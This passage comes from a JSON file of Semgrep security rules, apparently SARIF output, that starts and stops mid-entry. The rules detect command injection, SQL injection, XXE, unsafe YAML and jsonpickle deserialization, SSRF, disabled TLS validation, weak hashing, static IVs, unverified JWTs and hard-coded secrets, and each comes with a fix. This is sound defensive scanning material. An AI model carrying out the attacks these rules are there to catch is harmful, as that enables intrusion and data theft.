injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec)\n - [https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec](https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","id":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","name":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n","text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","id":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","name":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli)\n - [https://pypi.org/project/pymssql/](https://pypi.org/project/pymssql/)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli","id":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","name":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.pymssql-sqli.pymssql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"help":{"markdown":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n","text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","id":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","name":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request)\n - [https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html](https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html)\n","text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","id":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","name":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host","id":"python.django.security.injection.tainted-url-host.tainted-url-host","name":"python.django.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"help":{"markdown":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","id":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","name":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.detailed-exceptions.detailed-exceptions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"help":{"markdown":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","id":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","name":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","id":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","name":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv","id":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","name":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","properties":{"precision":"very-high","tags":["CWE-329: Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-iv.hardcoded-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"help":{"markdown":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode)\n - [https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96](https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96)\n","text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"helpUri":"https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","id":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","name":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.unverified-jwt-decode.unverified-jwt-decode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"help":{"markdown":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading 